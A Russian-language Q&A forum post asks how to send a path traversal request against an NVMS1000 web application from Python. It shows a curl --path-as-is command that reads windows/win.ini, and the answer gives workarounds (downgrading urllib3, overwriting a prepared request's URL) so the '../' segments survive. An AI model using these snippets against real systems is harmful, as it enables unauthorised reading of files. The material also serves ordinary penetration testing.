Обход пути с запросом Python

Недавно я хотел автоматизировать атаку на веб-приложение, которое подвержено атакам обхода пути (NVMS1000) через модуль запросов python.

Запрос отлично работает с curl, используя параметр path-as-is:

curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini

Однако при использовании модуля запросов python "../" удаляется из urlpath (как я ясно вижу, например, через Burp Suite):

host = "127.0.0.1"
path = "/../../../../../../../../../.."
file = "/windows/win.ini"
url = host+path+file
response = requests.get(url,proxies=proxies)

Я проверил документы, но не нашел никакого объяснения этому поведению и не нашел возможности предотвратить удаление / нормализацию, аналогичную опции для curl.

платформа - debian, модуль запроса - версия 2.22.0

Спасибо за вашу помощь.

1 ответ

Я знаю, что опаздываю, но рассмотрите возможность перехода на более раннюю версию urllib3:

pip install --upgrade urllib3==1.24.3

А еще лучше использовать подготовленные запросы:

my_url = 'http://127.0.0.1/../../../../../../../../../../windows/win.ini'
s = requests.Session()
r = requests.Request(method='GET', url=my_url)
prep = r.prepare()
prep.url = my_url # actual url you want
response = s.send(prep)
Другие вопросы по тегам